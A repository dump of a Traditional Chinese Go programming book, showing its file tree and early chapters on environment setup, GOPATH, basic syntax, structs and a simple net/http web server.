├── .gitignore ├── 01.0.md ├── 01.1.md ├── 01.2.md ├── 01.3.md ├── 01.4.md ├── 01.5.md ├── 02.0.md ├── 02.1.md ├── 02.2.md ├── 02.3.md ├── 02.4.md ├── 02.5.md ├── 02.6.md ├── 02.7.md ├── 02.8.md ├── 03.0.md ├── 03.1.md ├── 03.2.md ├── 03.3.md ├── 03.4.md ├── 03.5.md ├── 04.0.md ├── 04.1.md ├── 04.2.md ├── 04.3.md ├── 04.4.md ├── 04.5.md ├── 04.6.md ├── 05.0.md ├── 05.1.md ├── 05.2.md ├── 05.3.md ├── 05.4.md ├── 05.5.md ├── 05.6.md ├── 05.7.md ├── 06.0.md ├── 06.1.md ├── 06.2.md ├── 06.3.md ├── 06.4.md ├── 06.5.md ├── 07.0.md ├── 07.1.md ├── 07.2.md ├── 07.3.md ├── 07.4.md ├── 07.5.md ├── 07.6.md ├── 07.7.md ├── 08.0.md ├── 08.1.md ├── 08.2.md ├── 08.3.md ├── 08.4.md ├── 08.5.md ├── 09.0.md ├── 09.1.md ├── 09.2.md ├── 09.3.md ├── 09.4.md ├── 09.5.md ├── 09.6.md ├── 09.7.md ├── 10.0.md ├── 10.1.md ├── 10.2.md ├── 10.3.md ├── 10.4.md ├── 11.0.md ├── 11.1.md ├── 11.2.md ├── 11.3.md ├── 11.4.md ├── 12.0.md ├── 12.1.md ├── 12.2.md ├── 12.3.md ├── 12.4.md ├── 12.5.md ├── 13.0.md ├── 13.1.md ├── 13.2.md ├── 13.3.md ├── 13.4.md ├── 13.5.md ├── 13.6.md ├── 14.0.md ├── 14.1.md ├── 14.2.md ├── 14.3.md ├── 14.4.md ├── 14.5.md ├── 14.6.md ├── 14.7.md ├── README.md ├── SUMMARY.md ├── a_herf.go ├── a_href.py ├── build.go ├── build.sh ├── build_new.go ├── build_new.sh ├── images ├── 1.1.cmd.png ├── 1.1.linux.png ├── 1.1.mac.png ├── 1.3.go.png ├── 1.4.eclipse1.png ├── 1.4.eclipse2.png ├── 1.4.eclipse3.png ├── 1.4.eclipse4.png ├── 1.4.eclipse5.png ├── 1.4.eclipse6.png ├── 1.4.emacs.png ├── 1.4.idea1.png ├── 1.4.idea2.png ├── 1.4.idea3.png ├── 1.4.idea4.png ├── 1.4.idea5.png ├── 1.4.liteide.png ├── 1.4.sublime1.png ├── 1.4.sublime2.png ├── 1.4.sublime3.png ├── 1.4.sublime4.png ├── 1.4.vim.png ├── 13.1.flow.png ├── 13.1.gopath.png ├── 13.1.gopath2.png ├── 13.4.beego.png ├── 14.1.bootstrap.png ├── 14.1.bootstrap2.png ├── 14.1.bootstrap3.png ├── 14.4.github.png ├── 14.4.github2.png ├── 14.4.github3.png ├── 14.6.pprof.png ├── 14.6.pprof2.png ├── 14.6.pprof3.png ├── 2.2.array.png ├── 2.2.basic.png ├── 2.2.makenew.png ├── 2.2.slice.png ├── 2.2.slice2.png ├── 2.3.init.png ├── 2.4.student_struct.png ├── 2.5.rect_func_without_receiver.png ├── 2.5.shapes_func_with_receiver_cp.png ├── 2.5.shapes_func_without_receiver.png ├── 3.1.dns2.png ├── 3.1.dns_hierachy.png ├── 3.1.dns_inquery.png ├── 3.1.http.png ├── 3.1.httpPOST.png ├── 3.1.response.png ├── 3.1.web.png ├── 3.1.web2.png ├── 3.2.goweb.png ├── 3.3.http.png ├── 3.3.illustrator.png ├── 4.1.login.png ├── 4.1.slice.png ├── 4.3.escape.png ├── 4.4.token.png ├── 4.5.upload.png ├── 4.5.upload2.png ├── 5.6.mongodb.png ├── 6.1.cookie.png ├── 6.1.cookie2.png ├── 6.1.session.png ├── 6.4.cookie.png ├── 6.4.hijack.png ├── 6.4.hijacksuccess.png ├── 6.4.setcookie.png ├── 7.4.template.png ├── 8.1.socket.png ├── 8.2.websocket.png ├── 8.2.websocket2.png ├── 8.2.websocket3.png ├── 8.3.rest.png ├── 8.3.rest2.png ├── 8.3.rest3.png ├── 8.4.rpc.png ├── 9.1.csrf.png ├── alipay.png ├── cover.png ├── ebook.jpg ├── navi1.png ├── navi10.png ├── navi11.png ├── navi12.png ├── navi13.png ├── navi14.png ├── navi2.png ├── navi3.png ├── navi4.png ├── navi5.png ├── navi6.png ├── navi7.png ├── navi8.png ├── navi9.png └── polling.png ├── preface.md ├── ref.md └── src └── 1.2 ├── main.go └── sqrt.go /.gitignore: -------------------------------------------------------------------------------- 1 | # Node rules: 2 | ## Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) 3 | .grunt 4 | 5 | ## Dependency directory 6 | ## Commenting this out is preferred by some people, see 7 | ## https://docs.npmjs.com/misc/faq#should-i-check-my-node_modules-folder-into-git 8 | node_modules 9 | 10 | # Book build output 11 | _book 12 | 13 | # eBook build output 14 | *.epub 15 | *.mobi 16 | *.pdf -------------------------------------------------------------------------------- /01.0.md: -------------------------------------------------------------------------------- 1 | # 1 GO 環境配置 2 | 3 | 歡迎來到 Go 的世界,讓我們開始探索吧! 4 | 5 | Go 是一種新的語言,一種併發的、帶垃圾回收的、快速編譯的語言。它具有以下特點: 6 | 7 | - 它可以在一臺計算機上用幾秒鐘的時間編譯一個大型的 Go 程式。 8 | - Go 為軟體構造提供了一種模型,它使依賴分析更加容易,且避免了大部分 C 風格 include 檔案與函式庫的開頭。 9 | - Go 是靜態型別的語言,它的型別系統沒有層級。因此使用者不需要在定義型別之間的關係上花費時間,這樣感覺起來比典型的面嚮物件語言更輕量級。 10 | - Go 完全是垃圾回收型的語言,併為併發執行與通訊提供了基本的支援。 11 | - 按照其設計,Go 打算為多核機器上系統軟體的構造提供一種方法。 12 | 13 | Go 是一種編譯型語言,它結合了解釋型語言的遊刃有餘,動態型別語言的開發效率,以及靜態型別的安全性。它也打算成為現代的,支援網路與多核計算的語言。要滿足這些目標,需要解決一些語言上的問題:一個富有表達能力但輕量級的型別系統,併發與垃圾回收機制,嚴格的依賴規範等等。這些無法透過函式庫或工具解決好,因此 Go 也就應運而生了。 14 | 15 | 在本章中,我們將講述 Go 的安裝方法,以及如何配置專案資訊。 16 | 17 | ## 目錄 18 | 19 | ![](images/navi1.png) 20 | 21 | ## links 22 | * [目錄](preface.md) 23 | * 下一節: [安裝 Go](01.1.md) 24 | -------------------------------------------------------------------------------- /01.2.md: -------------------------------------------------------------------------------- 1 | # 1.2 GOPATH 與工作空間 2 | 3 | 前面我們在安裝 Go 的時候看到需要設定 GOPATH 變數,Go 從 1.1 版本到 1.7 必須設定這個變數,而且不能和 Go 的安裝目錄一樣,這個目錄用來存放 Go 原始碼,Go 的可執行檔案,以及相應的編譯之後的套件檔案。所以這個目錄下面有三個子目錄:src、bin、pkg 4 | 5 | 從 go 1.8 開始,GOPATH 環境變數現在有一個預設值,如果它沒有被設定。 它在 Unix 上預設為$HOME/go,在 Windows 上預設為%USERPROFILE%/go。 6 | ## GOPATH 設定 7 | go 命令依賴一個重要的環境變數:$GOPATH 8 | 9 | Windows 系統中環境變數的形式為`%GOPATH%`,本書主要使用 Unix 形式,Windows 使用者請自行替換。 10 | 11 | *(注:這個不是 Go 安裝目錄。下面以筆者的工作目錄為範例,如果你想不一樣請把 GOPATH 替換成你的工作目錄。)* 12 | 13 | 在類別 Unix 環境下大概這樣設定: 14 | 15 | ```sh 16 | export GOPATH=/home/apple/mygo 17 | ``` 18 | 為了方便,應該建立以上資料夾,並且上一行加入到 `.bashrc` 或者 `.zshrc` 或者自己的 `sh` 的配置檔案中。 19 | 20 | Windows 設定如下,建立一個環境變數名稱叫做 GOPATH: 21 | 22 | ```sh 23 | GOPATH=c:\mygo 24 | ``` 25 | GOPATH 允許多個目錄,當有多個目錄時,請注意分隔符,多個目錄的時候 Windows 是分號,Linux 系統是冒號,當有多個 GOPATH 時,預設會將 go get 的內容放在第一個目錄下。 26 | 27 | 28 | 以上 $GOPATH 目錄約定有三個子目錄: 29 | 30 | - src 存放原始碼(比如:.go .c .h .s 等) 31 | - pkg 編譯後生成的檔案(比如:.a) 32 | - bin 編譯後生成的可執行檔案(為了方便,可以把此目錄加入到 $PATH 變數中,如果有多個 gopath,那麼使用`${GOPATH//://bin:}/bin`新增所有的 bin 目錄) 33 | 34 | 以後我所有的例子都是以 mygo 作為我的 gopath 目錄 35 | 36 | 37 | ## 程式碼目錄結構規劃 38 | GOPATH 下的 src 目錄就是接下來開發程式的主要目錄,所有的原始碼都是放在這個目錄下面,那麼一般我們的做法就是一個目錄一個專案,例如: $GOPATH/src/mymath 表示 mymath 這個套件或者可執行應用,這個根據 package 是 main 還是其他來決定,main 的話就是可執行應用,其他的話就是套件,這個會在後續詳細介紹 package。 39 | 40 | 41 | 所以當建立應用或者一個程式碼套件時都是在 src 目錄下建立一個資料夾,資料夾名稱一般是程式碼套件名稱,當然也允許多階層目錄,例如在 src 下面建立了目錄$GOPATH/src/github.com/astaxie/beedb 那麼這個套件路徑就是"github.com/astaxie/beedb",套件名稱是最後一個目錄 beedb 42 | 43 | 44 | 下面我就以 mymath 為例來講述如何編寫套件,執行如下程式碼 45 | 46 | ```sh 47 | cd $GOPATH/src 48 | mkdir mymath 49 | ``` 50 | 51 | 建立檔案 sqrt.go,內容如下 52 | ```go 53 | // $GOPATH/src/mymath/sqrt.go 原始碼如下: 54 | package mymath 55 | 56 | func Sqrt(x float64) float64 { 57 | z := 0.0 58 | for i := 0; i < 1000; i++ { 59 | z -= (z*z - x) / (2 * x) 60 | } 61 | return z 62 | } 63 | ``` 64 | 這樣我的套件目錄和程式碼已經建立完畢,注意:一般建議 package 的名稱和目錄名保持一致 65 | 66 | ## 編譯應用 67 | 上面我們已經建立了自己的套件,如何進行編譯安裝呢?有兩種方式可以進行安裝 68 | 69 | 1、只要進入對應的套件目錄,然後執行`go install`,就可以安裝了 70 | 71 | 2、在任意的目錄執行如下程式碼`go install mymath` 72 | 73 | 安裝完之後,我們可以進入如下目錄 74 | 75 | ```sh 76 | cd $GOPATH/pkg/${GOOS}_${GOARCH} 77 | //可以看到如下檔案 78 | mymath.a 79 | ``` 80 | 這個.a 檔案是套件,那麼我們如何進行呼叫呢? 81 | 82 | 接下來我們建立一個應用程式來呼叫這個套件 83 | 84 | 建立套件 mathapp 85 | 86 | ```sh 87 | cd $GOPATH/src 88 | mkdir mathapp 89 | cd mathapp 90 | vim main.go 91 | ``` 92 | 93 | `$GOPATH/src/mathapp/main.go`原始碼: 94 | ```go 95 | package main 96 | 97 | import ( 98 | "mymath" 99 | "fmt" 100 | ) 101 | 102 | func main() { 103 | fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) 104 | } 105 | ``` 106 | 107 | 可以看到這個的 package 是`main`,import 裡面呼叫的套件是`mymath`,這個就是相對於`$GOPATH/src`的路徑,如果是多階層目錄,就在 import 裡面引入多階層目錄,如果你有多個 GOPATH,也是一樣,Go 會自動在多個`$GOPATH/src`中尋找。 108 | 109 | 如何編譯程式呢?進入該應用目錄,然後執行`go build`,那麼在該目錄下面會產生一個 mathapp 的可執行檔案 110 | 111 | ```sh 112 | ./mathapp 113 | ``` 114 | 115 | 輸出如下內容 116 | 117 | ```sh 118 | Hello, world. Sqrt(2) = 1.414213562373095 119 | ``` 120 | 121 | 如何安裝該應用,進入該目錄執行`go install`,那麼在$GOPATH/bin/下增加了一個可執行檔案 mathapp, 還記得前面我們把`$GOPATH/bin`加到我們的 PATH 裡面了,這樣可以在命令列輸入如下命令就可以執行 122 | 123 | ```sh 124 | mathapp 125 | ``` 126 | 127 | 也是輸出如下內容 128 | 129 | Hello, world. Sqrt(2) = 1.414213562373095 130 | 131 | 這裡我們展示如何編譯和安裝一個可執行的應用,以及如何設計我們的目錄結構。 132 | 133 | ## 取得遠端套件 134 | 135 | go 語言有一個取得遠端套件的工具就是`go get`,目前 go get 支援多數開源社群(例如:github、googlecode、bitbucket、Launchpad) 136 | 137 | go get github.com/astaxie/beedb 138 | 139 | >go get -u 參數可以自動更新套件,而且當 go get 的時候會自動取得該套件依賴的其他第三方套件 140 | 141 | 142 | 透過這個命令可以取得相應的原始碼,對應的開源平臺採用不同的原始碼控制工具,例如 github 採用 git、googlecode 採用 hg,所以要想取得這些原始碼,必須先安裝相應的原始碼控制工具 143 | 144 | 透過上面取得的程式碼在我們本地的原始碼相應的程式碼結構如下 145 | 146 | $GOPATH 147 | src 148 | |--github.com 149 | |-astaxie 150 | |-beedb 151 | pkg 152 | |--相應平臺 153 | |-github.com 154 | |--astaxie 155 | |beedb.a 156 | 157 | go get 本質上可以理解為首先第一步是透過原始碼工具 clone 程式碼到 src 下面,然後執行`go install` 158 | 159 | 在程式碼中如何使用遠端套件,很簡單的就是和使用本地套件一樣,只要在開頭 import 相應的路徑就可以 160 | 161 | import "github.com/astaxie/beedb" 162 | 163 | ## 程式的整體結構 164 | 透過上面建立的我本地的 mygo 的目錄結構如下所示 165 | 166 | bin/ 167 | mathapp 168 | pkg/ 169 | 平臺名/ 如:darwin_amd64、linux_amd64 170 | mymath.a 171 | github.com/ 172 | astaxie/ 173 | beedb.a 174 | src/ 175 | mathapp 176 | main.go 177 | mymath/ 178 | sqrt.go 179 | github.com/ 180 | astaxie/ 181 | beedb/ 182 | beedb.go 183 | util.go 184 | 185 | 從上面的結構我們可以很清晰的看到,bin 目錄下面存的是編譯之後可執行的檔案,pkg 下面存放的是套件,src 下面儲存的是應用原始碼 186 | 187 | 188 | ## links 189 | * [目錄](preface.md) 190 | * 上一節: [安裝 Go](01.1.md) 191 | * 下一節: [GO 命令](01.3.md) 192 | -------------------------------------------------------------------------------- /01.5.md: -------------------------------------------------------------------------------- 1 | # 1.5 總結 2 | 3 | 這一章中我們主要介紹了如何安裝 Go,Go 可以透過三種方式安裝:原始碼安裝、標準套件安裝、第三方工具安裝,安裝之後我們需要配置我們的開發環境,然後介紹了如何配置本地的`$GOPATH`,透過設定`$GOPATH`之後讀者就可以建立專案,接著介紹了如何來進行專案編譯、應用安裝等問題,這些需要用到很多 Go 命令,所以接著就介紹了一些 Go 的常用命令工具,包括編譯、安裝、格式化、測試等命令,最後介紹了 Go 的開發工具,目前有很多 Go 的開發工具:LiteIDE、Sublime、VSCode、Atom、Goland、VIM、Emacs、Eclipse、Idea 等工具,讀者可以根據自己熟悉的工具進行配置,希望能夠透過方便的工具快速的開發 Go 應用。 4 | 5 | ## links 6 | * [目錄](preface.md) 7 | * 上一節: [Go 開發工具](01.4.md) 8 | * 下一章: [Go 語言基礎](02.0.md) 9 | -------------------------------------------------------------------------------- /02.0.md: -------------------------------------------------------------------------------- 1 | # 2 Go 語言基礎 2 | 3 | Go 是一門類似 C 的編譯型語言,但是它的編譯速度非常快。這門語言的關鍵字總共也就二十五個,比英文字母還少一個,這對於我們的學習來說就簡單了很多。先讓我們看一眼這些關鍵字都長什麼樣: 4 | 5 | break default func interface select 6 | case defer go map struct 7 | chan else goto package switch 8 | const fallthrough if range type 9 | continue for import return var 10 | 11 | 在接下來的這一章中,我將帶領你去學習這門語言的基礎。透過每一小節的介紹,你將發現,Go 的世界是那麼地簡潔,設計是如此地美妙,編寫 Go 將會是一件愉快的事情。等回過頭來,你就會發現這二十五個關鍵字是多麼地親切。 12 | 13 | ## 目錄 14 | ![](images/navi2.png) 15 | 16 | ## links 17 | * [目錄](preface.md) 18 | * 上一章: [第一章總結](01.5.md) 19 | * 下一節: [你好,Go](02.1.md) 20 | -------------------------------------------------------------------------------- /02.1.md: -------------------------------------------------------------------------------- 1 | # 2.1 你好,Go 2 | 3 | 在開始編寫應用之前,我們先從最基本的程式開始。就像你造房子之前不知道什麼是地基一樣,編寫程式也不知道如何開始。因此,在本節中,我們要學習用最基本的語法讓 Go 程式執行起來。 4 | 5 | ## 程式 6 | 7 | 這就像一個傳統,在學習大部分語言之前,你先學會如何編寫一個可以輸出`hello world`的程式。 8 | 9 | 準備好了嗎?Let's Go! 10 | 11 | ```Go 12 | package main 13 | 14 | import "fmt" 15 | 16 | func main() { 17 | fmt.Printf("Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちはせかい\n") 18 | } 19 | ``` 20 | 輸出如下: 21 | 22 | Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちはせかい 23 | 24 | ## 詳解 25 | 首先我們要了解一個概念,Go 程式是透過 `package` 來組織的 26 | 27 | `package `(在我們的例子中是`package main`)這一行告訴我們當前檔案屬於哪個套件,而套件名 `main` 則告訴我們它是一個可獨立執行的套件,它在編譯後會產生可執行檔案。除了 `main` 套件之外,其它的套件最後都會產生`*.a`檔案(也就是套件檔案)並放置在`$GOPATH/pkg/$GOOS_$GOARCH`中(以 Mac 為例就是`$GOPATH/pkg/darwin_amd64`)。 28 | 29 | >每一個可獨立執行的 Go 程式,必定包含一個`package main`,在這個 `main` 套件中必定包含一個入口函式`main`,而這個函式既沒有參數,也沒有回傳值。 30 | 31 | 為了列印`Hello, world...`,我們呼叫了一個函式`Printf`,這個函式來自於 `fmt` 套件,所以我們在第三行中匯入了系統級別的 `fmt` 套件:`import "fmt"`。 32 | 33 | 套件的概念和 Python 中的 package 類似,它們都有一些特別的好處:模組化(能夠把你的程式分成多個模組)和可重用性(每個模組都能被其它應用程式反覆使用)。我們在這裡只是先了解一下套件的概念,後面我們將會編寫自己的套件。 34 | 35 | 在第五行中,我們透過關鍵字 `func` 定義了一個 `main` 函式,函式體被放在`{}`(大括號)中,就像我們平時寫 C、C++或 Java 時一樣。 36 | 37 | 大家可以看到 `main` 函式是沒有任何的參數的,我們接下來就學習如何編寫帶參數的、回傳 0 個或多個值的函式。 38 | 39 | 第六行,我們呼叫了 `fmt` 套件裡面定義的函式`Printf`。大家可以看到,這個函式是透過`.`的方式呼叫的,這一點和 Python 十分相似。 40 | 41 | >前面提到過,套件名和套件所在的資料夾名可以是不同的,此處的 `` 即為透過`package `宣告的套件名,而非資料夾名。 42 | 43 | 最後大家可以看到我們輸出的內容裡面包含了很多非 ASCII 碼字元。實際上,Go 是天生支援 UTF-8 的,任何字元都可以直接輸出,你甚至可以用 UTF-8 中的任何字元作為識別符號。 44 | 45 | 46 | ## 結論 47 | 48 | Go 使用`package`(和 Python 的模組類似)來組織程式碼。`main.main()`函式(這個函式位於主套件)是每一個獨立的可執行程式的入口點。Go 使用 UTF-8 字串和識別符號(因為 UTF-8 的發明者也就是 Go 的發明者之一),所以它天生支援多語言。 49 | 50 | ## links 51 | * [目錄](preface.md) 52 | * 上一節: [Go 語言基礎](02.0.md) 53 | * 下一節: [Go 基礎](02.2.md) 54 | -------------------------------------------------------------------------------- /02.4.md: -------------------------------------------------------------------------------- 1 | # 2.4 struct 型別 2 | ## struct 3 | Go 語言中,也和 C 或者其他語言一樣,我們可以宣告新的型別,作為其它型別的屬性或欄位的容器。例如,我們可以建立一個自訂型別 `person` 代表一個人的實體。這個實體擁有屬性:姓名和年齡。這樣的型別我們稱之`struct`。如下程式碼所示: 4 | 5 | ```Go 6 | type person struct { 7 | name string 8 | age int 9 | } 10 | ``` 11 | 看到了嗎?宣告一個 struct 如此簡單,上面的型別包含有兩個欄位 12 | - 一個 string 型別的欄位 name,用來儲存使用者名稱稱這個屬性 13 | - 一個 int 型別的欄位 age,用來儲存使用者年齡這個屬性 14 | 15 | 如何使用 struct 呢?請看下面的程式碼 16 | 17 | ```Go 18 | type person struct { 19 | name string 20 | age int 21 | } 22 | 23 | var P person // P 現在就是 person 型別的變量了 24 | 25 | P.name = "Astaxie" // 賦值"Astaxie"給 P 的 name 屬性. 26 | P.age = 25 // 賦值"25"給變數 P 的 age 屬性 27 | fmt.Printf("The person's name is %s", P.name) // 存取 P 的 name 屬性. 28 | ``` 29 | 除了上面這種 P 的宣告使用之外,還有另外幾種宣告使用方式: 30 | 31 | - 1.按照順序提供初始化值 32 | 33 | P := person{"Tom", 25} 34 | 35 | - 2.透過 `field:value` 的方式初始化,這樣可以任意順序 36 | 37 | P := person{age:24, name:"Tom"} 38 | 39 | - 3.當然也可以透過 `new` 函式分配一個指標,此處 P 的型別為*person 40 | 41 | P := new(person) 42 | 43 | 下面我們看一個完整的使用 struct 的例子 44 | 45 | ```Go 46 | package main 47 | 48 | import "fmt" 49 | 50 | // 宣告一個新的型別 51 | type person struct { 52 | name string 53 | age int 54 | } 55 | 56 | // 比較兩個人的年齡,回傳年齡大的那個人,並且回傳年齡差 57 | // struct 也是傳值的 58 | func Older(p1, p2 person) (person, int) { 59 | if p1.age>p2.age { // 比較 p1 和 p2 這兩個人的年齡 60 | return p1, p1.age-p2.age 61 | } 62 | return p2, p2.age-p1.age 63 | } 64 | 65 | func main() { 66 | var tom person 67 | 68 | // 賦值初始化 69 | tom.name, tom.age = "Tom", 18 70 | 71 | // 兩個欄位都寫清楚的初始化 72 | bob := person{age:25, name:"Bob"} 73 | 74 | // 按照 struct 定義順序初始化值 75 | paul := person{"Paul", 43} 76 | 77 | tb_Older, tb_diff := Older(tom, bob) 78 | tp_Older, tp_diff := Older(tom, paul) 79 | bp_Older, bp_diff := Older(bob, paul) 80 | 81 | fmt.Printf("Of %s and %s, %s is older by %d years\n", 82 | tom.name, bob.name, tb_Older.name, tb_diff) 83 | 84 | fmt.Printf("Of %s and %s, %s is older by %d years\n", 85 | tom.name, paul.name, tp_Older.name, tp_diff) 86 | 87 | fmt.Printf("Of %s and %s, %s is older by %d years\n", 88 | bob.name, paul.name, bp_Older.name, bp_diff) 89 | } 90 | ``` 91 | ### struct 的匿名欄位 92 | 我們上面介紹了如何定義一個 struct,定義的時候是欄位名與其型別一一對應,實際上 Go 支援只提供型別,而不寫欄位名的方式,也就是匿名欄位,也稱為嵌入欄位。 93 | 94 | 當匿名欄位是一個 struct 的時候,那麼這個 struct 所擁有的全部欄位都被隱含的引入了當前定義的這個 struct。 95 | 96 | 讓我們來看一個例子,讓上面說的這些更具體化 97 | 98 | ```Go 99 | package main 100 | 101 | import "fmt" 102 | 103 | type Human struct { 104 | name string 105 | age int 106 | weight int 107 | } 108 | 109 | type Student struct { 110 | Human // 匿名欄位,那麼預設 Student 就包含了 Human 的所有欄位 111 | speciality string 112 | } 113 | 114 | func main() { 115 | // 我們初始化一個學生 116 | mark := Student{Human{"Mark", 25, 120}, "Computer Science"} 117 | 118 | // 我們存取相應的欄位 119 | fmt.Println("His name is ", mark.name) 120 | fmt.Println("His age is ", mark.age) 121 | fmt.Println("His weight is ", mark.weight) 122 | fmt.Println("His speciality is ", mark.speciality) 123 | // 修改對應的備註資訊 124 | mark.speciality = "AI" 125 | fmt.Println("Mark changed his speciality") 126 | fmt.Println("His speciality is ", mark.speciality) 127 | // 修改他的年齡資訊 128 | fmt.Println("Mark become old") 129 | mark.age = 46 130 | fmt.Println("His age is", mark.age) 131 | // 修改他的體重資訊 132 | fmt.Println("Mark is not an athlet anymore") 133 | mark.weight += 60 134 | fmt.Println("His weight is", mark.weight) 135 | } 136 | ``` 137 | 圖例如下: 138 | 139 | ![](images/2.4.student_struct.png) 140 | 141 | 圖 2.7 struct 組合,Student 組合了 Human struct 和 string 基本型別 142 | 143 | 我們看到 Student 存取屬性 age 和 name 的時候,就像存取自己所有用的欄位一樣,對,匿名欄位就是這樣,能夠實現欄位的繼承。是不是很酷啊?還有比這個更酷的呢,那就是 student 還能存取 Human 這個欄位作為欄位名。請看下面的程式碼,是不是更酷了。 144 | 145 | ```Go 146 | mark.Human = Human{"Marcus", 55, 220} 147 | mark.Human.age -= 1 148 | ``` 149 | 透過匿名存取和修改欄位相當的有用,但是不僅僅是 struct 欄位哦,所有的內建型別和自訂型別都是可以作為匿名欄位的。請看下面的例子 150 | 151 | ```Go 152 | package main 153 | 154 | import "fmt" 155 | 156 | type Skills []string 157 | 158 | type Human struct { 159 | name string 160 | age int 161 | weight int 162 | } 163 | 164 | type Student struct { 165 | Human // 匿名欄位,struct 166 | Skills // 匿名欄位,自訂的型別 string slice 167 | int // 內建型別作為匿名欄位 168 | speciality string 169 | } 170 | 171 | func main() { 172 | // 初始化學生 Jane 173 | jane := Student{Human:Human{"Jane", 35, 100}, speciality:"Biology"} 174 | // 現在我們來存取相應的欄位 175 | fmt.Println("Her name is ", jane.name) 176 | fmt.Println("Her age is ", jane.age) 177 | fmt.Println("Her weight is ", jane.weight) 178 | fmt.Println("Her speciality is ", jane.speciality) 179 | // 我們來修改他的 skill 技能欄位 180 | jane.Skills = []string{"anatomy"} 181 | fmt.Println("Her skills are ", jane.Skills) 182 | fmt.Println("She acquired two new ones ") 183 | jane.Skills = append(jane.Skills, "physics", "golang") 184 | fmt.Println("Her skills now are ", jane.Skills) 185 | // 修改匿名內建型別欄位 186 | jane.int = 3 187 | fmt.Println("Her preferred number is", jane.int) 188 | } 189 | ``` 190 | 從上面例子我們看出來 struct 不僅僅能夠將 struct 作為匿名欄位,自訂型別、內建型別都可以作為匿名欄位,而且可以在相應的欄位上面進行函式操作(如例子中的 append)。 191 | 192 | 這裡有一個問題:如果 human 裡面有一個欄位叫做 phone,而 student 也有一個欄位叫做 phone,那麼該怎麼辦呢? 193 | 194 | Go 裡面很簡單的解決了這個問題,最外層的優先存取,也就是當你透過`student.phone`存取的時候,是存取 student 裡面的欄位,而不是 human 裡面的欄位。 195 | 196 | 這樣就允許我們去過載透過匿名欄位繼承的一些欄位,當然如果我們想存取過載後對應匿名型別裡面的欄位,可以透過匿名欄位名來存取。請看下面的例子 197 | 198 | ```Go 199 | package main 200 | 201 | import "fmt" 202 | 203 | type Human struct { 204 | name string 205 | age int 206 | phone string // Human 型別擁有的欄位 207 | } 208 | 209 | type Employee struct { 210 | Human // 匿名欄位 Human 211 | speciality string 212 | phone string // 僱員的 phone 欄位 213 | } 214 | 215 | func main() { 216 | Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"} 217 | fmt.Println("Bob's work phone is:", Bob.phone) 218 | // 如果我們要存取 Human 的 phone 欄位 219 | fmt.Println("Bob's personal phone is:", Bob.Human.phone) 220 | } 221 | ``` 222 | 223 | ## links 224 | * [目錄](preface.md) 225 | * 上一章: [流程和函式](02.3.md) 226 | * 下一節: [物件導向](02.5.md) 227 | -------------------------------------------------------------------------------- /02.8.md: -------------------------------------------------------------------------------- 1 | # 2.8 總結 2 | 3 | 這一章我們主要介紹了 Go 語言的一些語法,透過語法我們可以發現 Go 是多麼的簡單,只有二十五個關鍵字。讓我們再來回顧一下這些關鍵字都是用來幹什麼的。 4 | 5 | ```Go 6 | break default func interface select 7 | case defer go map struct 8 | chan else goto package switch 9 | const fallthrough if range type 10 | continue for import return var 11 | ``` 12 | - var 和 const 參考 2.2Go 語言基礎裡面的變數和常數宣告 13 | - package 和 import 已經有過短暫的接觸 14 | - func 用於定義函式和方法 15 | - return 用於從函式回傳 16 | - defer 用於類似解構函式 17 | - go 用於併發 18 | - select 用於選擇不同型別的通訊 19 | - interface 用於定義介面,參考 2.6 小節 20 | - struct 用於定義抽象資料型別,參考 2.5 小節 21 | - break、case、continue、for、fallthrough、else、if、switch、goto、default 這些參考 2.3 流程介紹裡面 22 | - chan 用於 channel 通訊 23 | - type 用於宣告自訂型別 24 | - map 用於宣告 map 型別資料 25 | - range 用於讀取 slice、map、channel 資料 26 | 27 | 上面這二十五個關鍵字記住了,那麼 Go 你也已經差不多學會了。 28 | 29 | ## links 30 | * [目錄](preface.md) 31 | * 上一節: [併發](02.7.md) 32 | * 下一章: [Web 基礎](03.0.md) 33 | -------------------------------------------------------------------------------- /03.0.md: -------------------------------------------------------------------------------- 1 | # 3 Web 基礎 2 | 3 | 學習基於 Web 的程式設計可能正是你讀本書的原因。事實上,如何透過 Go 來編寫 Web 應用也是我編寫這本書的初衷。前面已經介紹過,Go 目前已經擁有了成熟的 HTTP 處理套件,這使得編寫能做任何事情的動態 Web 程式易如反掌。在接下來的各章中將要介紹的內容,都是屬於 Web 程式設計的範疇。本章則集中討論一些與 Web 相關的概念和 Go 如何執行 Web 程式的話題。 4 | 5 | ## 目錄 6 | ![](images/navi3.png) 7 | 8 | ## links 9 | * [目錄](preface.md) 10 | * 上一章: [第二章總結](02.8.md) 11 | * 下一節: [Web 工作方式](03.1.md) 12 | -------------------------------------------------------------------------------- /03.2.md: -------------------------------------------------------------------------------- 1 | # 3.2 Go 建立一個 Web 伺服器 2 | 3 | 前面小節已經介紹了 Web 是基於 http 協議的一個服務,Go 語言裡面提供了一個完善的 net/http 套件,透過 http 套件可以很方便的建立起來一個可以執行的 Web 服務。同時使用這個套件能很簡單地對 Web 的路由,靜態檔案,模版,cookie 等資料進行設定和操作。 4 | 5 | ## http 套件建立 Web 伺服器 6 | 7 | ```Go 8 | package main 9 | 10 | import ( 11 | "fmt" 12 | "net/http" 13 | "strings" 14 | "log" 15 | ) 16 | 17 | func sayhelloName(w http.ResponseWriter, r *http.Request) { 18 | r.ParseForm() //解析參數,預設是不會解析的 19 | fmt.Println(r.Form) //這些資訊是輸出到伺服器端的列印資訊 20 | fmt.Println("path", r.URL.Path) 21 | fmt.Println("scheme", r.URL.Scheme) 22 | fmt.Println(r.Form["url_long"]) 23 | for k, v := range r.Form { 24 | fmt.Println("key:", k) 25 | fmt.Println("val:", strings.Join(v, "")) 26 | } 27 | fmt.Fprintf(w, "Hello astaxie!") //這個寫入到 w 的是輸出到客戶端的 28 | } 29 | 30 | func main() { 31 | http.HandleFunc("/", sayhelloName) //設定存取的路由 32 | err := http.ListenAndServe(":9090", nil) //設定監聽的埠 33 | if err != nil { 34 | log.Fatal("ListenAndServe: ", err) 35 | } 36 | } 37 | ``` 38 | 39 | 上面這個程式碼,我們 build 之後,然後執行 web.exe,這個時候其實已經在 9090 埠監聽 http 連結請求了。 40 | 41 | 在瀏覽器輸入`http://localhost:9090` 42 | 43 | 可以看到瀏覽器頁面輸出了`Hello astaxie!` 44 | 45 | 可以換一個地址試試:`http://localhost:9090/?url_long=111&url_long=222` 